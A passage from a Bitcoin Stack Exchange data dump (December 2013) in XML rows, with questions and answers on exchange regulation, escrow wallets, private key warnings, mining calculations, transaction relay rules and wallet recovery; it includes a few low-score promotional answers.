  <row Id="18615" PostTypeId="2" ParentId="17007" CreationDate="2013-12-12T17:56:22.830" Score="8" Body="&lt;p&gt;Coming from a financial programming side (C++/Network/Trading experience), I would politely suggest that having a web team is not quite enough to make an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, your average Bitcoin exchange may not need the HFT credentials of your average dark pool or big name exchange. But you're still dealing with a system that needs high uptime, high throughput, and low latency, all while doing it in a rather centralized way. I don't know what kind of web sites you're used to writing, but most of the ones I've seen can get away with just load balancing on to a pool of servers that don't need to be coordinated in a critical fashion. You're then looking at fiddly stuff like memory management and CPU pipelining that your ordinary LAMP stack guys may not be familiar with. Now of course I don't know what your guys are capable of, it may be they already have experience with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding banking regulation, I've looked into the rules regarding money laundering. (In fact, I have a legal opinion.) I'm also regulated through my work by multiple financial authorities, and I can tell you the KYC stuff is not trivial. It can be dealt with, of course, but you might find the volume of inquiries forces you to hire someone, who would then need to be trained. In any case, I know for a fact that there's quite a few scam artists and money launderers in the Bitcoin space. (In fact, in over a decade of financial experience I've never come across either, but run into at least three in 2 months with Localbitcoins). There's also a general trend among financial regulators to regulate more and more, so chances are things will get quite expensive. Add to this the fact you're talking to retail clients (I assume) in multiple jurisdictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of this is to say it can't be done. Often these things are a question of having a good team and methodically working through the issues, with a player for each position.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2013-12-12T17:56:22.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18616" PostTypeId="1" CreationDate="2013-12-12T18:08:04.037" Score="0" ViewCount="109" Body="&lt;p&gt;I'm a professional mediator just learning about bitcoins, and I have a specific question.  I have been asked by someone if I am able to be the &quot;third party&quot; for a Bitcoin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, Party A has X Bitcoins, he wants to sell them to party B, the X bitcoins are placed into a shared &quot;escrow&quot; wallet with the signatures of myself, party A, and party B. After the cash has exchanged hands (or not), any two of us (A, B, or me) can authorize the funds in the escrow wallet to be transmitted to its proper final destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I specifically do that? I mean specific instructions?  I have accounts at Coinbase, Blockchain, my own Bitcoin-QT client on Windows, and others. What's my best approach to this?&lt;/p&gt;&#xA;" OwnerUserId="10599" LastEditorUserId="132" LastEditDate="2013-12-13T14:35:51.337" LastActivityDate="2013-12-13T14:35:51.337" Title="Seeking specific advice on three-party/escrow-type transactions" Tags="|wallet|escrow|shared|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18618" PostTypeId="2" ParentId="4964" CreationDate="2013-12-12T18:41:05.980" Score="0" Body="&lt;p&gt;That is in the eye of the beholder! Luckily, the SEC itself has let on that they have a view on the issue. I would summarize it as a resounding maybe. Here's my source:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whether a virtual currency is a security under the federal securities laws, and therefore subject to our regulation, is dependent on the particular facts and circumstances at issue.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SEC Chairman Mary Jo White, in writing, as &lt;a href=&quot;http://www.bloomberg.com/news/2013-11-18/u-s-agencies-to-say-bitcoins-offer-legitimate-benefits.html&quot; rel=&quot;nofollow&quot;&gt;reported on Bloomberg&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you'd rather read my summary than go to the source, let me just point out that she went on to explain that lots of finance-like things you might do with virtual currencies would automatically fall under SEC regulations, regardless of whether the virtual currency used for it does or does not by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this letter was in preparation of a US government hearing in November. If I remember correctly, it was reported somewhere that the SEC then took the view that it could regulate Bitcoin, if it wanted to, but I cannot find a source. If you're willing to trust what may be a niche news site, then &quot;[the SEC] made the case that the increasingly popular cryptocurrency, the Bitcoin, was actually a security and should be regulated.&quot; (&lt;a href=&quot;http://www.thenewamerican.com/economy/sectors/item/16985-government-is-taking-steps-to-regulate-bitcoin&quot; rel=&quot;nofollow&quot;&gt;New American article&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-12-12T18:55:22.950" LastActivityDate="2013-12-12T18:55:22.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18619" PostTypeId="1" AcceptedAnswerId="23439" CreationDate="2013-12-12T18:44:19.830" Score="17" ViewCount="11086" Body="&lt;p&gt;Blockchain.info and other products make you read dire (but vague) warnings that &quot;you must be an expert&quot; before you can import private keys.  What's that all about?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="3684" LastEditDate="2017-11-22T01:57:40.857" LastActivityDate="2021-02-06T18:53:39.463" Title="Why so many warnings about importing private keys?" Tags="|private-key|import|private-key-import|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18620" PostTypeId="2" ParentId="18619" CreationDate="2013-12-12T18:51:55.143" Score="1" Body="&lt;p&gt;because exposing your private keys on your computer will expose them to all the viruses and keyloggers on your computer that non-experts tend to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats one reason&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-12-12T18:51:55.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18621" PostTypeId="2" ParentId="18612" CreationDate="2013-12-12T19:23:52.757" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://cloudhashing.com&quot; rel=&quot;nofollow&quot;&gt;Cloudhashing.com&lt;/a&gt; does cloud mining, but they did not offer trading the last time I checked.&lt;/p&gt;&#xA;" OwnerUserId="10705" LastEditorUserId="1891" LastEditDate="2013-12-13T18:43:12.720" LastActivityDate="2013-12-13T18:43:12.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18622" PostTypeId="1" CreationDate="2013-12-12T19:28:37.717" Score="4" ViewCount="288" Body="&lt;p&gt;I have an arbitrary address.  How can I get the current balance of the account through a Web API? ... how do I get it for a local API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also interested in all transaction history for that address.  Let me know if the API can offer that as well.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-08T20:30:59.450" Title="How do I determine the balance of an address I don't own? (WebAPI or local API)" Tags="|transactions|development|address|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18623" PostTypeId="1" CreationDate="2013-12-12T20:00:26.870" Score="2" ViewCount="4037" Body="&lt;p&gt;GUIMiner does not appear to be detecting my GPU. Under available devices, I am only able to see my CPU. I have an AMD Radeon 7670M GPU, that I have the most updated driver for and can confirm that it is enabled and working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;a href=&quot;http://en.wikipedia.org/wiki/Device_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Device Manager&lt;/a&gt;, the GPU shows up under Display Adapters and there are no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of my GUIMiner GUI, as well as the summary of my GPU from GPU-Z:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TV3wx.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this GPU not being recognized? For the record, I have been able to use GUIMiner previously using the same graphics card, but have not used it for months and since that time I have upgraded to Windows 8.1 (x64).&lt;/p&gt;&#xA;" OwnerUserId="10707" LastEditorUserId="5406" LastEditDate="2016-04-02T10:08:10.427" LastActivityDate="2016-05-10T23:45:31.950" Title="GUIMiner not detecting my GPU (AMD Radeon HD 7600M Series)?" Tags="|miner-configuration|gpu-mining|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18624" PostTypeId="2" ParentId="286" CreationDate="2013-12-12T20:33:28.447" Score="-1" Body="&lt;p&gt;Best Place less fee and secure is, &lt;a href=&quot;http://iwill4coin.com&quot; rel=&quot;nofollow&quot;&gt;http://iwill4coin.com&lt;/a&gt;  its  growing rapidly, post your jobs/services there and get paid with bitcoin, no other payments accepted..&lt;/p&gt;&#xA;" OwnerUserId="10709" LastActivityDate="2013-12-12T20:33:28.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18628" PostTypeId="2" ParentId="18611" CreationDate="2013-12-12T21:04:39.197" Score="2" Body="&lt;h2&gt;PubNub MtGox API Ticker Repeat Messages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Ticker Events are Updates that are streamed directly to you which may or may not represent a price change.  However the ticker updates are typically tied to a trade event which occur on the trade channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the trade stream here: &#xA;&lt;a href=&quot;http://www.pubnub.com/console/?sub=sub-c-50d56e1e-2fd9-11e3-a041-02ee2ddab7fe&amp;amp;pub=demo&amp;amp;channel=dbf1dee9-4f2e-4a08-8cb7-748919a71b21&amp;amp;origin=pubsub.pubnub.com&amp;amp;ssl=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pubnub.com/console/?sub=sub-c-50d56e1e-2fd9-11e3-a041-02ee2ddab7fe&amp;amp;pub=demo&amp;amp;channel=dbf1dee9-4f2e-4a08-8cb7-748919a71b21&amp;amp;origin=pubsub.pubnub.com&amp;amp;ssl=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in regards to the updates you may receive unchanging value updates.  You may also consider looking at historical values by using the History API: &lt;a href=&quot;http://www.pubnub.com/how-it-works/storage-and-playback/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pubnub.com/how-it-works/storage-and-playback/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out the related Stackoverflow article: &lt;a href=&quot;https://stackoverflow.com/questions/20547815/convenient-way-to-extract-data-from-the-mtgox-pubnub-json-api/20553315#20553315&quot;&gt;https://stackoverflow.com/questions/20547815/convenient-way-to-extract-data-from-the-mtgox-pubnub-json-api/20553315#20553315&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/20495713/are-there-ready-made-java-classes-for-the-mtgox-pubnub-json-api/20500700#20500700&quot;&gt;https://stackoverflow.com/questions/20495713/are-there-ready-made-java-classes-for-the-mtgox-pubnub-json-api/20500700#20500700&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10713" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-12-12T21:25:29.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18629" PostTypeId="1" AcceptedAnswerId="36454" CreationDate="2013-12-12T21:19:36.623" Score="5" ViewCount="12497" Body="&lt;p&gt;I want to know how I can calculate the profit of bitcoin mining in bitcoins. I am interested in the formula that is used by calculators. For example lets say I have 700mh/s hashrate, current difficulty is 908350862,437. The calculator says I will mine 0.00038755 BTC per day. What algorithm is used to calculate these figures?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastEditorUserId="5406" LastEditDate="2016-03-14T17:01:43.787" LastActivityDate="2020-02-15T06:28:44.110" Title="What is the algorithm to create a Bitcoin mining calculator?" Tags="|mining-profitability|hashpower|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18630" PostTypeId="2" ParentId="18587" CreationDate="2013-12-12T22:03:13.033" Score="6" Body="&lt;p&gt;You can get complete and up-to-date price history here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/mtgoxUSD.csv&quot; rel=&quot;noreferrer&quot;&gt;http://api.bitcoincharts.com/v1/csv/mtgoxUSD.csv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also get subsets of the data.&lt;br&gt;&#xA;For details see: &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-12-12T22:03:13.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18631" PostTypeId="2" ParentId="18622" CreationDate="2013-12-12T22:08:38.863" Score="5" Body="&lt;p&gt;You can query the unspent outputs of an address with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://blockchain.info/unspent?active=$bitcoin_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get the transaction history for an address with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://blockchain.info/address/$bitcoin_address?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information see &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="1878" LastEditDate="2014-01-08T20:30:59.450" LastActivityDate="2014-01-08T20:30:59.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18632" PostTypeId="2" ParentId="1426" CreationDate="2013-12-12T23:25:13.993" Score="0" Body="&lt;p&gt;There is a bitcoin &quot;bank&quot; that pays 6 % interest just check it out &lt;a href=&quot;https://bitcoinera.net/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10724" LastEditorUserId="1891" LastEditDate="2013-12-13T14:26:53.553" LastActivityDate="2013-12-13T14:26:53.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18633" PostTypeId="1" CreationDate="2013-12-13T01:23:11.347" Score="4" ViewCount="886" Body="&lt;p&gt;I was thinking of permuting bits in a block before it is hashed, in order to require some adaptability from the mining hardware while retaining the security of SHA-256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permutations would depend on the hash of the previous block so that they cannot be anticipated.&#xA;They would also depend on the nonce, so that the permutation step would have to be performed once per hash, preventing a single external CPU from efficiently preprocessing the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example of algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seed a pseudo-random number generator with the hash of the previous block appended to the nonce. Draw 1000 pairs of pseudo-random numbers between 1 and the length of the block in bits. Swap the bits corresponding to these pairs. Hash with SHA-256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me these permutations would be particularly troublesome to implement electronically, and I was thinking this might drive up the cost of ASIC implementations.&lt;/p&gt;&#xA;" OwnerUserId="10725" LastActivityDate="2014-03-23T05:57:04.460" Title="Could an algorithm be made ASIC-resistant by simply adding deterministic permutations depending on the hash of the previous block and the nonce?" Tags="|asic|algorithms|proof-of-work|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18634" PostTypeId="1" AcceptedAnswerId="18640" CreationDate="2013-12-13T01:37:35.967" Score="1" ViewCount="241" Body="&lt;p&gt;Does a cryptocurrency that can have its supply be reduced based on some factor currently exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is this possible?  If so, how?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-13T02:32:31.083" LastActivityDate="2014-01-17T01:03:51.890" Title="Possible to temporarily reduce the supply of a cryptocurrency?" Tags="|alternatives|currencies|money-supply|algorithms|future-proof|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18635" PostTypeId="2" ParentId="18629" CreationDate="2013-12-13T01:57:05.810" Score="1" Body="&lt;p&gt;The average time to find a block can be approximated by calculating:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;time = difficulty * 2**32 / hashrate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where difficulty is the current difficulty, hashrate is the number of hashes your miner calculates per second, and time is the average in seconds between the blocks you find. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-13T01:57:05.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18636" PostTypeId="1" CreationDate="2013-12-13T02:01:31.207" Score="1" ViewCount="168" Body="&lt;p&gt;I have an offline wallet and I wanted to send some bitcoins to myself on an account I have on one of the exchanges. I sent a small amount 6 days ago and it still hasn’t gone through. I’m not sure why it’s taking so long and was wondering if anyone had any tips. I made a mistake of not adding a fee to it so I resent another small amount to my exchange based wallet with a fee of .0005 and that one hasn’t gone through either even though its been 5 days. Is there a way to reset the transactions or something so I can try again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My transaction ID is: &lt;code&gt;2e0e6fcc39596707e6566b22c2806d68ca9d57117f43f1eeb31514c059b1e962&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="10728" LastEditorUserId="5406" LastEditDate="2015-12-21T15:24:41.433" LastActivityDate="2015-12-21T15:24:41.433" Title="Transactions Won’t Confirm" Tags="|unconfirmed-transactions|" AnswerCount="0" CommentCount="5" ClosedDate="2015-12-21T15:24:47.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="18638" PostTypeId="1" CreationDate="2013-12-13T02:17:08.227" Score="5" ViewCount="451" Body="&lt;p&gt;The following statement appears on the &quot;Script&quot; page in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that there is a small number of standard script forms that are relayed from node to node; non-standard scripts are accepted if they are in a block, but nodes will not relay them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This begs a lot of questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What use is a transaction that is never relayed?&lt;/li&gt;&#xA;&lt;li&gt;How did the transaction make it into a block in the first place if it cannot be relayed? Did this transaction come directly from a client? Was it created at an origin node and put in a block somehow by that node?&lt;/li&gt;&#xA;&lt;li&gt;What does it mean that the script is &quot;accepted&quot; if it's &quot;in a block&quot;? (I'm aware of the script evaluation process, but the sense of the word &quot;accepted&quot; here doesn't seem to be the same as the standard &quot;evaluate to true&quot; verification process.)&lt;/li&gt;&#xA;&lt;li&gt;Perhaps most importantly: What good is all this wonderful scripting capability if interesting transactions are not relayed? Won't this cripple the scripting capability for more complex transaction types?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9987" LastEditorUserId="5406" LastEditDate="2014-10-04T15:49:04.833" LastActivityDate="2014-10-04T15:49:04.833" Title="Not relaying non-standard transactions" Tags="|protocol|academic-research|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18639" PostTypeId="1" CreationDate="2013-12-13T02:37:23.013" Score="1" ViewCount="152" Body="&lt;p&gt;So I am thinking about getting back into bitcoin and I recently discovered the ASICMiner Block Erupter. And I see that just about everyone has them running on a USB3 hub. Lets say that I ran 8 of these Block Erupters on a single hub that was connected to the rPi. Now I know that the hub is USB3 and the rPi has only a USB2 connection. Would that be okay? And would the rPi be able to handle or process the bitcoin mining application? Or would I need to use a little better PC to handle it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose the rPi because it consumes low power itself, and I can have it run 24/7 than a PC.&lt;/p&gt;&#xA;" OwnerUserId="10729" LastActivityDate="2014-01-12T04:12:53.667" Title="rPi &amp; ASICMiner Block Limit?" Tags="|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18640" PostTypeId="2" ParentId="18634" CreationDate="2013-12-13T02:41:55.760" Score="4" Body="&lt;p&gt;This is possible through the use of a multiplier. For example, you could add it to Bitcoin as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You add a &quot;currency multiplier&quot; and &quot;next currency multiplier&quot; to the block header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All Bitcoin amounts presented are multiplied by this multiplier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have a set of rules for how the next currency multiplier changes. For example, miners could be permitted to change the &quot;next currency multiplier&quot; by a small amount in each block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Periodically, say every time the difficulty is adjusted, the currency multiplier is also adjusted by up to 2% (or whatever) towards the next currency multiplier and the next currency multiplier is set to the new currency multiplier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if I want to pay you &quot;1 Bitcoin&quot;, I actually have to pay you an internal amount that depends on the multiplier. Changes in the multiplier would change everyone's displayed balances. This way, if miners believed there were too many Bitcoins in circulation and the value was dropping, they could &quot;vote&quot; to reduce the multiplier. This could result in a more stable price and thus make it easier to price goods in Bitcoins. At least, those would be the arguments in favor of such a scheme.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-12-21T10:19:39.177" LastActivityDate="2013-12-21T10:19:39.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18641" PostTypeId="2" ParentId="18638" CreationDate="2013-12-13T02:44:55.100" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What use is a transaction that is never relayed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;None, unless it is generated by the same person who mines it into a block. But it is not the case that non-standard transactions are never relayed. There are nodes that relay non-standard transactions and miners who include them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How did the transaction make it into a block in the first place if it cannot be relayed? Did this transaction come directly from a client? Was it created at an origin node and put in a block somehow by that node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nobody said it &quot;cannot be relayed&quot;, merely that this particular piece of software does not, by default, relay it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean that the script is &quot;accepted&quot; if it's &quot;in a block&quot;? (I'm aware of the script evaluation process, but the sense of the word &quot;accepted&quot; here doesn't seem to be the same as the standard &quot;evaluate to true&quot; verification process.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It means that the client cannot reject it or otherwise ignore it. If it gets into a block, it's officially done and its outputs are spendable if the transaction script rules say si.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Perhaps most importantly: What good is all this wonderful scripting capability if interesting transactions are not relayed? Won't this cripple the scripting capability for more complex transaction types?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a good question.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-13T02:44:55.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18642" PostTypeId="1" AcceptedAnswerId="18643" CreationDate="2013-12-13T02:51:19.163" Score="8" ViewCount="567" Body="&lt;p&gt;What symbol do I use to tell customers that our business accepts Bitcoin? For example many businesses use the visa symbol to show that they accept visa, But i want to know what is Bitcoin's equivalent? Should I use the &quot;coin&quot; symbol?&lt;/p&gt;&#xA;" OwnerUserId="5769" LastActivityDate="2013-12-13T03:17:08.410" Title="Standardized symbol for &quot;pay with bitcoin&quot;" Tags="|business|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18643" PostTypeId="2" ParentId="18642" CreationDate="2013-12-13T03:17:08.410" Score="7" Body="&lt;p&gt;Although there is no official &quot;Bitcoin Accepted Here&quot; sign, the most popular graphics for this purpose seem to be these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5Ar6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ex4fF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJkW2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dzbFo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NseUl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1631.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=1631.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2013-12-13T03:17:08.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18645" PostTypeId="2" ParentId="18390" CreationDate="2013-12-13T03:38:19.557" Score="2" Body="&lt;p&gt;The pools are mostly distinguished by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fees: how much the pool charges workers&lt;/li&gt;&#xA;&lt;li&gt;size: the larger the pool, the smaller the variance of your payouts&lt;/li&gt;&#xA;&lt;li&gt;payout style: pay per share, pay per last N shares, etc.&lt;/li&gt;&#xA;&lt;li&gt;location: do they have a server near you (extra latency will mean less mining work accepted and a lower payout)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you guessed, getwork, long poll, stratum, etc. are not types of pools, but rather types of protocols for getting mining work from the pools. Some pools support more than one type of protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a nice comparison of various BTC mining pools here:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2013-12-13T03:38:19.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18646" PostTypeId="2" ParentId="18639" CreationDate="2013-12-13T04:01:04.160" Score="1" Body="&lt;p&gt;I have used both Debian and Arch Linux on an rPi to run Butterfly Labs mining equipment; the rPi was able to handle up to 9 SC Singles with CPU to spare using recent versions of both bfgminer and cgminer. So I suspect that it would not have any difficulty driving eight Block Erupters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to take some care in choosing your &lt;a href=&quot;http://elinux.org/RPi_Powered_USB_Hubs&quot; rel=&quot;nofollow&quot;&gt;USB hub&lt;/a&gt; (it will need to be powered) and you may find &lt;a href=&quot;http://minepeon.com/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;MinePeon&lt;/a&gt; to be a useful package for getting things set up.&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2013-12-13T04:01:04.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18650" PostTypeId="2" ParentId="13939" CreationDate="2013-12-13T06:28:36.430" Score="0" Body="&lt;p&gt;I wrote a bitmessage based, distributed, facebook a few months back.&#xA;It used namecoin as the database to store everyone's statuses and comments and such.&#xA;Contact me at this bitmessage if you are interested in it: BM-2cXji1uDyuXT94AoUG2u3GCApSFdbtri33&lt;/p&gt;&#xA;" OwnerUserId="9415" LastActivityDate="2013-12-13T06:28:36.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18653" PostTypeId="1" CreationDate="2013-12-13T08:20:44.657" Score="-1" ViewCount="84" Body="&lt;p&gt;1 or 2 months ago, 1BTC=120-130$. Today, 1BTC= 900$ at Bitstamp rate. Is that means if I bought BTC 2 months ago and I try to sell them today, I earn 780$ per BTC?&lt;/p&gt;&#xA;" OwnerUserId="10740" LastActivityDate="2013-12-13T08:30:55.300" Title="Question about Bitcoin rate" Tags="|exchange-rate|" AnswerCount="1" CommentCount="3" ClosedDate="2013-12-21T15:15:25.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="18654" PostTypeId="1" AcceptedAnswerId="18657" CreationDate="2013-12-13T08:26:55.603" Score="4" ViewCount="14833" Body="&lt;p&gt;Back in 2011 when bitcoin started to make the news, I created a wallet and let it run for a bit (no pun intended). It almost fried my computer so I stopped. In the process, I think I remember I mined 0.05 BTC. Before deleting the app from my Mac, I've saved a file called &lt;code&gt;wallet.dat&lt;/code&gt; somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today out of curiosity I googled the conversion rate and saw that 0.05BTC are worth about 45 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to recover that file? I've opened a Coinbase account but I don't see anything about importing files. I'm on Mac OS, if it matters...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've now installed Bitcoin-Qt. I've replaced the wallet.dat file. It says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;wallet out of sync&quot;, balance = 0.05BT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also says &quot;synchronising network&quot; but it's been 15 minutes and the progress bar barely seems to be at 1%.&lt;/p&gt;&#xA;" OwnerUserId="10741" LastEditorUserId="15412" 